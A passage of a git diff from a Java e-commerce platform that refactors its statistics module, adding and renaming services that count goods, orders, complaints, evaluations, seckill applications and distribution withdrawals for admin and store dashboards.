mode 100644 index 00000000..bff4139d --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java @@ -0,0 +1,57 @@ +package cn.lili.modules.statistics.serviceimpl; + +import cn.lili.common.enums.ResultCode; +import cn.lili.common.exception.ServiceException; +import cn.lili.common.properties.RocketmqCustomProperties; +import cn.lili.common.utils.CurrencyUtil; +import cn.lili.common.utils.SnowFlake; +import cn.lili.common.vo.PageVO; +import cn.lili.modules.distribution.entity.dos.Distribution; +import cn.lili.modules.distribution.entity.dos.DistributionCash; +import cn.lili.modules.distribution.entity.enums.DistributionStatusEnum; +import cn.lili.modules.distribution.entity.vos.DistributionCashSearchParams; +import cn.lili.modules.distribution.mapper.DistributionCashMapper; +import cn.lili.modules.distribution.service.DistributionCashService; +import cn.lili.modules.distribution.service.DistributionService; +import cn.lili.modules.statistics.mapper.DistributionCashStatisticsMapper; +import cn.lili.modules.statistics.service.DistributionCashStatisticsService; +import cn.lili.modules.wallet.entity.dto.MemberWalletUpdateDTO; +import cn.lili.modules.wallet.entity.dto.MemberWithdrawalMessage; +import cn.lili.modules.wallet.entity.enums.DepositServiceTypeEnum; +import cn.lili.modules.wallet.entity.enums.MemberWithdrawalDestinationEnum; +import cn.lili.modules.wallet.entity.enums.WithdrawStatusEnum; +import cn.lili.modules.wallet.service.MemberWalletService; +import cn.lili.mybatis.util.PageUtil; +import cn.lili.rocketmq.RocketmqSendCallbackBuilder; +import cn.lili.rocketmq.tags.MemberTagsEnum; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import org.apache.rocketmq.spring.core.RocketMQTemplate; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.util.Date; + + +/** + * 分销佣金统计层实现 + * + * @author pikachu + * @since 2020-03-126 18:04:56 + */ +@Service +@Transactional(rollbackFor = Exception.class) +public class DistributionCashStatisticsServiceImpl extends ServiceImpl + implements DistributionCashStatisticsService { + + + @Override + public Integer newDistributionCash() { + QueryWrapper queryWrapper = Wrappers.query(); + queryWrapper.eq("distribution_cash_status", WithdrawStatusEnum.APPLY.name()); + return this.count(queryWrapper); + } +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsServiceImpl.java new file mode 100644 index 00000000..120d9c15 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsServiceImpl.java @@ -0,0 +1,56 @@ +package cn.lili.modules.statistics.serviceimpl; + +import cn.hutool.core.date.DateTime; +import cn.hutool.core.date.DateUtil; +import cn.hutool.core.text.CharSequenceUtil; +import cn.lili.common.security.AuthUser; +import cn.lili.common.security.context.UserContext; +import cn.lili.common.security.enums.UserEnums; +import cn.lili.modules.goods.entity.dos.Goods; +import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; +import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; +import cn.lili.modules.statistics.mapper.GoodsStatisticsMapper; +import cn.lili.modules.statistics.service.GoodsStatisticsService; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import org.springframework.stereotype.Service; + +import java.util.Objects; + +/** + * 商品统计业务层实现 + * + * @author Bulbasaur + * @since 2020/12/9 11:30 + */ +@Service +public class GoodsStatisticsServiceImpl extends ServiceImpl implements GoodsStatisticsService { + + @Override + public Integer goodsNum(GoodsStatusEnum goodsStatusEnum, GoodsAuthEnum goodsAuthEnum) { + LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); + + queryWrapper.eq(Goods::getDeleteFlag, false); + + if (goodsStatusEnum != null) { + queryWrapper.eq(Goods::getMarketEnable, goodsStatusEnum.name()); + } + if (goodsAuthEnum != null) { + queryWrapper.eq(Goods::getIsAuth, goodsAuthEnum.name()); + } + AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); + queryWrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.STORE.name()), + Goods::getStoreId, currentUser.getStoreId()); + + return this.count(queryWrapper); + } + + @Override + public Integer todayUpperNum() { + LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); + queryWrapper.eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name()); + queryWrapper.ge(Goods::getCreateTime, DateUtil.beginOfDay(new DateTime())); + return this.count(queryWrapper); + } +} diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java index 501dbb92..e4982190 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java @@ -5,18 +5,11 @@ import cn.hutool.core.date.DateTime; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; import cn.lili.common.utils.BeanUtil; -import cn.lili.modules.distribution.service.DistributionCashService; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; -import cn.lili.modules.goods.service.GoodsService; -import cn.lili.modules.member.service.MemberEvaluationService; import cn.lili.modules.order.order.entity.enums.FlowTypeEnum; import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; -import cn.lili.modules.order.aftersale.service.AfterSaleService; -import cn.lili.modules.order.order.service.OrderComplaintService; import cn.lili.modules.order.trade.entity.enums.AfterSaleTypeEnum; -import cn.lili.modules.promotion.service.SeckillService; -import cn.lili.modules.statistics.mapper.StoreStatisticsDataMapper; import cn.lili.modules.statistics.entity.dto.GoodsStatisticsQueryParam; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.enums.SearchTypeEnum; @@ -24,8 +17,6 @@ import cn.lili.modules.statistics.entity.vo.*; import cn.lili.modules.statistics.service.*; import cn.lili.modules.statistics.util.StatisticsDateUtil; import cn.lili.modules.store.entity.enums.BillStatusEnum; -import cn.lili.modules.store.service.BillService; -import cn.lili.modules.store.service.StoreService; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; @@ -50,84 +41,79 @@ public class IndexStatisticsServiceImpl implements IndexStatisticsService { * 订单统计 */ @Autowired - private OrderStatisticsDataService orderStatisticsDataService; + private OrderStatisticsService orderStatisticsService; /** * 会员统计 */ @Autowired - private MemberStatisticsDataService memberStatisticsDataService; + private MemberStatisticsService memberStatisticsService; /** * 商品统计 */ @Autowired - private GoodsStatisticsDataService goodsStatisticsDataService; + private GoodsStatisticsService goodsStatisticsService; /** - * 店铺统计 + * 商品统计 */ @Autowired - private StoreStatisticsDataMapper storeStatisticsDataMapper; - /** - * 商品 - */ - @Autowired - private GoodsService goodsService; + private StoreFlowStatisticsService storeFlowStatisticsService; /** * 店铺 */ @Autowired - private StoreService storeService; + private StoreStatisticsService storeStatisticsService; /** * 店铺 */ @Autowired - private MemberEvaluationService memberEvaluationService; + private MemberEvaluationStatisticsService memberEvaluationStatisticsService; /** * 售后 */ @Autowired - private AfterSaleService afterSaleService; + private AfterSaleStatisticsService afterSaleStatisticsService; /** * 投诉 */ @Autowired - private OrderComplaintService orderComplaintService; + private OrderComplaintStatisticsService orderComplaintStatisticsService; /** * 分销员提现 */ @Autowired - private DistributionCashService distributionCashService; + private DistributionCashStatisticsService distributionCashStatisticsService; /** * 平台PV统计 */ @Autowired - private PlatformViewDataService platformViewDataService; + private PlatformViewService platformViewService; /** * 结算单 */ @Autowired - private BillService billService; + private BillStatisticsService billStatisticsService; /** * 秒杀活动 */ @Autowired - private SeckillService seckillService; + private SeckillStatisticsService seckillStatisticsService; @Override public IndexNoticeVO indexNotice() { IndexNoticeVO indexNoticeVO = new IndexNoticeVO(); //商品审核 - indexNoticeVO.setGoods(goodsService.goodsNum(null, GoodsAuthEnum.TOBEAUDITED)); + indexNoticeVO.setGoods(goodsStatisticsService.goodsNum(null, GoodsAuthEnum.TOBEAUDITED)); //店铺入驻审核 - indexNoticeVO.setStore(storeService.auditNum()); + indexNoticeVO.setStore(storeStatisticsService.auditNum()); //售后申请 - indexNoticeVO.setRefund(afterSaleService.applyNum(null)); + indexNoticeVO.setRefund(afterSaleStatisticsService.applyNum(null)); //投诉审核 - indexNoticeVO.setComplain(orderComplaintService.waitComplainNum()); + indexNoticeVO.setComplain(orderComplaintStatisticsService.waitComplainNum()); //分销员提现审核 - indexNoticeVO.setDistributionCash(distributionCashService.newDistributionCash()); + indexNoticeVO.setDistributionCash(distributionCashStatisticsService.newDistributionCash()); //待处理商家结算 - indexNoticeVO.setWaitPayBill(billService.billNum(BillStatusEnum.CHECK)); + indexNoticeVO.setWaitPayBill(billStatisticsService.billNum(BillStatusEnum.CHECK)); return indexNoticeVO; } @@ -138,31 +124,31 @@ public class IndexStatisticsServiceImpl implements IndexStatisticsService { IndexStatisticsVO indexStatisticsVO = new IndexStatisticsVO(); //获取总订单数量 - indexStatisticsVO.setOrderNum(orderStatisticsDataService.orderNum(null)); + indexStatisticsVO.setOrderNum(orderStatisticsService.orderNum(null)); //获取总会员数量 - indexStatisticsVO.setMemberNum(memberStatisticsDataService.getMemberCount()); + indexStatisticsVO.setMemberNum(memberStatisticsService.getMemberCount()); //获取总上架商品数量 - indexStatisticsVO.setGoodsNum(goodsService.goodsNum(GoodsStatusEnum.UPPER, GoodsAuthEnum.PASS)); + indexStatisticsVO.setGoodsNum(goodsStatisticsService.goodsNum(GoodsStatusEnum.UPPER, GoodsAuthEnum.PASS)); //获取总店铺数量 - indexStatisticsVO.setStoreNum(storeService.storeNum()); + indexStatisticsVO.setStoreNum(storeStatisticsService.storeNum()); //下单统计 - Map map = orderStatisticsDataService.getOrderStatisticsPrice(); + Map map = orderStatisticsService.getOrderStatisticsPrice(); //今日下单数 indexStatisticsVO.setTodayOrderNum(map.get("num") == null ? 0L : (Long) map.get("num")); //今日下单金额 indexStatisticsVO.setTodayOrderPrice(map.get("price") == null ? 0D : (Double) map.get("price")); //今日新增会员数量 - indexStatisticsVO.setTodayMemberNum(memberStatisticsDataService.todayMemberNum()); + indexStatisticsVO.setTodayMemberNum(memberStatisticsService.todayMemberNum()); //今日新增商品数量 - indexStatisticsVO.setTodayGoodsNum(goodsService.todayUpperNum()); + indexStatisticsVO.setTodayGoodsNum(goodsStatisticsService.todayUpperNum()); //今日新增店铺数量 - indexStatisticsVO.setTodayStoreNum(storeService.todayStoreNum()); + indexStatisticsVO.setTodayStoreNum(storeStatisticsService.todayStoreNum()); //今日新增评论数量 - indexStatisticsVO.setTodayMemberEvaluation(memberEvaluationService.todayMemberEvaluation()); + indexStatisticsVO.setTodayMemberEvaluation(memberEvaluationStatisticsService.todayMemberEvaluation()); //当前在线人数 - indexStatisticsVO.setCurrentNumberPeopleOnline(platformViewDataService.online()); + indexStatisticsVO.setCurrentNumberPeopleOnline(platformViewService.online()); //流量统计 @@ -170,19 +156,19 @@ public class IndexStatisticsServiceImpl implements IndexStatisticsService { //今日uv queryParam.setSearchType(SearchTypeEnum.TODAY.name()); - indexStatisticsVO.setTodayUV(platformViewDataService.countUv(queryParam)); + indexStatisticsVO.setTodayUV(platformViewService.countUv(queryParam)); // 昨日访问数UV queryParam.setSearchType(SearchTypeEnum.YESTERDAY.name()); - indexStatisticsVO.setYesterdayUV(platformViewDataService.countUv(queryParam)); + indexStatisticsVO.setYesterdayUV(platformViewService.countUv(queryParam)); // 前七日访问数UV queryParam.setSearchType(SearchTypeEnum.LAST_SEVEN.name()); - indexStatisticsVO.setLastSevenUV(platformViewDataService.countUv(queryParam)); + indexStatisticsVO.setLastSevenUV(platformViewService.countUv(queryParam)); // 三十日访问数UV queryParam.setSearchType(SearchTypeEnum.LAST_THIRTY.name()); - indexStatisticsVO.setLastThirtyUV(platformViewDataService.countUv(queryParam)); + indexStatisticsVO.setLastThirtyUV(platformViewService.countUv(queryParam)); return indexStatisticsVO; @@ -195,9 +181,9 @@ public class IndexStatisticsServiceImpl implements IndexStatisticsService { StoreIndexStatisticsVO storeIndexStatisticsVO = new StoreIndexStatisticsVO(); //商品总数量 - storeIndexStatisticsVO.setGoodsNum(goodsService.goodsNum(GoodsStatusEnum.UPPER, null)); + storeIndexStatisticsVO.setGoodsNum(goodsStatisticsService.goodsNum(GoodsStatusEnum.UPPER, null)); //订单总数量、订单总金额 - Map map = orderStatisticsDataService.getStoreOrderStatisticsPrice(); + Map map = orderStatisticsService.getStoreOrderStatisticsPrice(); storeIndexStatisticsVO.setOrderNum(Convert.toInt(map.get("num").toString())); storeIndexStatisticsVO.setOrderPrice(map.get("price") != null ? Double.parseDouble(map.get("price").toString()) : 0.0); @@ -205,34 +191,34 @@ public class IndexStatisticsServiceImpl implements IndexStatisticsService { StatisticsQueryParam queryParam = new StatisticsQueryParam(); queryParam.setSearchType(SearchTypeEnum.TODAY.name()); queryParam.setStoreId(storeId); - PlatformViewVO platformViewVO = platformViewDataService.list(queryParam).get(0); + PlatformViewVO platformViewVO = platformViewService.list(queryParam).get(0); storeIndexStatisticsVO.setStoreUV(platformViewVO.getUvNum().intValue()); //待付款订单数量 - storeIndexStatisticsVO.setUnPaidOrder(orderStatisticsDataService.orderNum(OrderStatusEnum.UNPAID.name())); + storeIndexStatisticsVO.setUnPaidOrder(orderStatisticsService.orderNum(OrderStatusEnum.UNPAID.name())); //待发货订单数量 - storeIndexStatisticsVO.setUnDeliveredOrder(orderStatisticsDataService.orderNum(OrderStatusEnum.UNDELIVERED.name())); + storeIndexStatisticsVO.setUnDeliveredOrder(orderStatisticsService.orderNum(OrderStatusEnum.UNDELIVERED.name())); //待收货订单数量 - storeIndexStatisticsVO.setDeliveredOrder(orderStatisticsDataService.orderNum(OrderStatusEnum.DELIVERED.name())); + storeIndexStatisticsVO.setDeliveredOrder(orderStatisticsService.orderNum(OrderStatusEnum.DELIVERED.name())); //待处理退货数量 - storeIndexStatisticsVO.setReturnGoods(afterSaleService.applyNum(AfterSaleTypeEnum.RETURN_GOODS.name())); + storeIndexStatisticsVO.setReturnGoods(afterSaleStatisticsService.applyNum(AfterSaleTypeEnum.RETURN_GOODS.name())); //待处理退款数量 - storeIndexStatisticsVO.setReturnMoney(afterSaleService.applyNum(AfterSaleTypeEnum.RETURN_MONEY.name())); + storeIndexStatisticsVO.setReturnMoney(afterSaleStatisticsService.applyNum(AfterSaleTypeEnum.RETURN_MONEY.name())); //待回复评价数量 - storeIndexStatisticsVO.setMemberEvaluation(memberEvaluationService.getWaitReplyNum()); + storeIndexStatisticsVO.setMemberEvaluation(memberEvaluationStatisticsService.getWaitReplyNum()); //待处理投诉数量 - storeIndexStatisticsVO.setComplaint(orderComplaintService.waitComplainNum()); + storeIndexStatisticsVO.setComplaint(orderComplaintStatisticsService.waitComplainNum()); //待上架商品数量 - storeIndexStatisticsVO.setWaitUpper(goodsService.goodsNum(GoodsStatusEnum.DOWN, null)); + storeIndexStatisticsVO.setWaitUpper(goodsStatisticsService.goodsNum(GoodsStatusEnum.DOWN, null)); //待审核商品数量 - storeIndexStatisticsVO.setWaitAuth(goodsService.goodsNum(null, GoodsAuthEnum.TOBEAUDITED)); + storeIndexStatisticsVO.setWaitAuth(goodsStatisticsService.goodsNum(null, GoodsAuthEnum.TOBEAUDITED)); //可参与秒杀活动数量 - storeIndexStatisticsVO.setSeckillNum(seckillService.getApplyNum()); + storeIndexStatisticsVO.setSeckillNum(seckillStatisticsService.getApplyNum()); //待处理商家结算 - storeIndexStatisticsVO.setWaitPayBill(billService.billNum(BillStatusEnum.OUT)); + storeIndexStatisticsVO.setWaitPayBill(billStatisticsService.billNum(BillStatusEnum.OUT)); return storeIndexStatisticsVO; } @@ -240,7 +226,7 @@ public class IndexStatisticsServiceImpl implements IndexStatisticsService { @Override public List goodsStatistics(GoodsStatisticsQueryParam statisticsQueryParam) { //查询商品 - return goodsStatisticsDataService.getGoodsStatisticsData(statisticsQueryParam, 10); + return storeFlowStatisticsService.getGoodsStatisticsData(statisticsQueryParam, 10); } @Override @@ -261,7 +247,7 @@ public class IndexStatisticsServiceImpl implements IndexStatisticsService { //查询前十条记录 Page page = new Page(1, 10); - return storeStatisticsDataMapper.getStoreStatisticsData(page, queryWrapper); + return storeFlowStatisticsService.getStoreStatisticsData(page, queryWrapper); } diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java new file mode 100644 index 00000000..0d1e885f --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java @@ -0,0 +1,78 @@ +package cn.lili.modules.statistics.serviceimpl; + +import cn.hutool.core.date.DateTime; +import cn.hutool.core.date.DateUtil; +import cn.hutool.json.JSONUtil; +import cn.lili.common.enums.ResultCode; +import cn.lili.common.enums.SwitchEnum; +import cn.lili.common.exception.ServiceException; +import cn.lili.common.properties.RocketmqCustomProperties; +import cn.lili.common.security.context.UserContext; +import cn.lili.common.security.enums.UserEnums; +import cn.lili.common.sensitive.SensitiveWordsFilter; +import cn.lili.common.utils.StringUtils; +import cn.lili.modules.goods.entity.dos.GoodsSku; +import cn.lili.modules.goods.service.GoodsSkuService; +import cn.lili.modules.member.entity.dos.Member; +import cn.lili.modules.member.entity.dos.MemberEvaluation; +import cn.lili.modules.member.entity.dto.EvaluationQueryParams; +import cn.lili.modules.member.entity.dto.MemberEvaluationDTO; +import cn.lili.modules.member.entity.enums.EvaluationGradeEnum; +import cn.lili.modules.member.entity.vo.EvaluationNumberVO; +import cn.lili.modules.member.entity.vo.MemberEvaluationListVO; +import cn.lili.modules.member.entity.vo.MemberEvaluationVO; +import cn.lili.modules.member.mapper.MemberEvaluationMapper; +import cn.lili.modules.member.service.MemberEvaluationService; +import cn.lili.modules.member.service.MemberService; +import cn.lili.modules.order.order.entity.dos.Order; +import cn.lili.modules.order.order.entity.dos.OrderItem; +import cn.lili.modules.order.order.entity.enums.CommentStatusEnum; +import cn.lili.modules.order.order.service.OrderItemService; +import cn.lili.modules.order.order.service.OrderService; +import cn.lili.modules.statistics.mapper.MemberEvaluationStatisticsMapper; +import cn.lili.modules.statistics.service.MemberEvaluationStatisticsService; +import cn.lili.mybatis.util.PageUtil; +import cn.lili.rocketmq.RocketmqSendCallbackBuilder; +import cn.lili.rocketmq.tags.GoodsTagsEnum; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import org.apache.rocketmq.spring.core.RocketMQTemplate; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import javax.annotation.Resource; +import java.util.List; +import java.util.Map; + +/** + * 会员商品评价业务层实现 + * + * @author Bulbasaur + * @since 2020-02-25 14:10:16 + */ +@Service +@Transactional(rollbackFor = Exception.class) +public class MemberEvaluationStatisticsServiceImpl extends ServiceImpl implements MemberEvaluationStatisticsService { + + + @Override + public Integer todayMemberEvaluation() { + return this.count(new LambdaQueryWrapper().ge(MemberEvaluation::getCreateTime, DateUtil.beginOfDay(new DateTime()))); + } + + @Override + public Integer getWaitReplyNum() { + QueryWrapper queryWrapper = Wrappers.query(); + queryWrapper.eq(StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name()), + "store_id", UserContext.getCurrentUser().getStoreId()); + queryWrapper.eq("reply_status", false); + return this.count(queryWrapper); + } + +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsDataServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsServiceImpl.java similarity index 91% rename from framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsDataServiceImpl.java rename to framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsServiceImpl.java index e79dae22..c96c0965 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsDataServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsServiceImpl.java @@ -1,11 +1,11 @@ package cn.lili.modules.statistics.serviceimpl; import cn.hutool.core.date.DateUtil; -import cn.lili.modules.statistics.mapper.MemberStatisticsDataMapper; +import cn.lili.modules.statistics.mapper.MemberStatisticsMapper; import cn.lili.modules.statistics.entity.dos.MemberStatisticsData; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.enums.SearchTypeEnum; -import cn.lili.modules.statistics.service.MemberStatisticsDataService; +import cn.lili.modules.statistics.service.MemberStatisticsService; import cn.lili.modules.statistics.util.StatisticsDateUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; @@ -23,7 +23,7 @@ import java.util.List; * @since 2020/12/9 18:33 */ @Service -public class MemberStatisticsDataServiceImpl extends ServiceImpl implements MemberStatisticsDataService { +public class MemberStatisticsServiceImpl extends ServiceImpl implements MemberStatisticsService { @Override public Integer getMemberCount() { diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderComplaintStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderComplaintStatisticsServiceImpl.java new file mode 100644 index 00000000..0e43ca6b --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderComplaintStatisticsServiceImpl.java @@ -0,0 +1,63 @@ +package cn.lili.modules.statistics.serviceimpl; + +import cn.hutool.core.util.StrUtil; +import cn.lili.common.enums.ResultCode; +import cn.lili.common.exception.ServiceException; +import cn.lili.common.security.AuthUser; +import cn.lili.common.security.OperationalJudgment; +import cn.lili.common.security.context.UserContext; +import cn.lili.common.security.enums.UserEnums; +import cn.lili.common.utils.BeanUtil; +import cn.lili.common.utils.StringUtils; +import cn.lili.common.vo.PageVO; +import cn.lili.modules.goods.entity.dos.GoodsSku; +import cn.lili.modules.goods.service.GoodsSkuService; +import cn.lili.modules.order.aftersale.entity.enums.ComplaintStatusEnum; +import cn.lili.modules.order.order.entity.dos.OrderComplaint; +import cn.lili.modules.order.order.entity.dos.OrderComplaintCommunication; +import cn.lili.modules.order.order.entity.dos.OrderItem; +import cn.lili.modules.order.order.entity.dto.OrderComplaintDTO; +import cn.lili.modules.order.order.entity.enums.OrderComplaintStatusEnum; +import cn.lili.modules.order.order.entity.vo.*; +import cn.lili.modules.order.order.mapper.OrderComplaintMapper; +import cn.lili.modules.order.order.service.OrderComplaintCommunicationService; +import cn.lili.modules.order.order.service.OrderComplaintService; +import cn.lili.modules.order.order.service.OrderItemService; +import cn.lili.modules.order.order.service.OrderService; +import cn.lili.modules.statistics.mapper.OrderComplaintStatisticsMapper; +import cn.lili.modules.statistics.service.OrderComplaintStatisticsService; +import cn.lili.mybatis.util.PageUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import java.util.Date; +import java.util.List; +import java.util.Objects; + +/** + * 交易投诉业务层实现 + * + * @author paulG + * @since 2020/12/5 + **/ +@Service +public class OrderComplaintStatisticsServiceImpl extends ServiceImpl implements OrderComplaintStatisticsService { + + + @Override + public Integer waitComplainNum() { + QueryWrapper queryWrapper = Wrappers.query(); + queryWrapper.ne("complain_status", ComplaintStatusEnum.COMPLETE.name()); + queryWrapper.eq(StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name()), + "store_id", UserContext.getCurrentUser().getStoreId()); + return this.count(queryWrapper); + } + + +} diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsDataServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java similarity index 96% rename from framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsDataServiceImpl.java rename to framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java index 12d1187b..148470ad 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsDataServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java @@ -11,12 +11,12 @@ import cn.lili.modules.order.order.entity.dos.StoreFlow; import cn.lili.modules.order.order.entity.enums.FlowTypeEnum; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.service.OrderService; -import cn.lili.modules.statistics.mapper.OrderStatisticsDataMapper; +import cn.lili.modules.statistics.mapper.OrderStatisticsMapper; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.vo.OrderOverviewVO; import cn.lili.modules.statistics.entity.vo.OrderStatisticsDataVO; -import cn.lili.modules.statistics.service.OrderStatisticsDataService; -import cn.lili.modules.statistics.service.PlatformViewDataService; +import cn.lili.modules.statistics.service.OrderStatisticsService; +import cn.lili.modules.statistics.service.PlatformViewService; import cn.lili.modules.statistics.util.StatisticsDateUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; @@ -34,12 +34,12 @@ import java.util.*; * @since 2020/12/9 17:16 */ @Service -public class OrderStatisticsDataServiceImpl extends ServiceImpl implements OrderStatisticsDataService { +public class OrderStatisticsServiceImpl extends ServiceImpl implements OrderStatisticsService { /** * 平台PV统计 */ @Autowired - private PlatformViewDataService platformViewDataService; + private PlatformViewService platformViewService; /** * 订单 */ @@ -52,7 +52,7 @@ public class OrderStatisticsDataServiceImpl extends ServiceImpl implements PlatformViewDataService { +public class PlatformViewServiceImpl extends ServiceImpl implements PlatformViewService { /** * 在线人数统计 */ @@ -62,7 +62,7 @@ public class PlatformViewDataServiceImpl extends ServiceImpl implements RefundOrderStatisticsService { +public class RefundOrderStatisticsServiceImpl extends ServiceImpl implements RefundOrderStatisticsService { @Override public IPage getRefundOrderStatisticsData(PageVO pageVO, StatisticsQueryParam statisticsQueryParam) { diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java new file mode 100644 index 00000000..e601376f --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java @@ -0,0 +1,37 @@ +package cn.lili.modules.statistics.serviceimpl; + +import cn.lili.modules.promotion.entity.dos.Seckill; +import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.statistics.mapper.SeckillStatisticsMapper; +import cn.lili.modules.statistics.service.SeckillStatisticsService; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.util.Date; +import java.util.List; +import java.util.stream.Collectors; + +/** + * 秒杀活动统计 + * + * @author Chopper + * @since 2020/8/21 + */ +@Service +@Transactional(rollbackFor = Exception.class) +public class SeckillStatisticsServiceImpl extends ServiceImpl implements SeckillStatisticsService { + + + @Override + public Integer getApplyNum() { + LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); + //秒杀申请时间未超过当前时间 + queryWrapper.ge(Seckill::getApplyEndTime, cn.hutool.core.date.DateUtil.date()); + queryWrapper.eq(Seckill::getPromotionStatus, PromotionStatusEnum.NEW.name()); + return this.count(queryWrapper); + } + +} \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsDataServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/StoreFlowStatisticsServiceImpl.java similarity index 81% rename from framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsDataServiceImpl.java rename to framework/src/main/java/cn/lili/modules/statistics/serviceimpl/StoreFlowStatisticsServiceImpl.java index 3f101189..144e8205 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/GoodsStatisticsDataServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/StoreFlowStatisticsServiceImpl.java @@ -3,12 +3,13 @@ package cn.lili.modules.statistics.serviceimpl; import cn.lili.common.utils.StringUtils; import 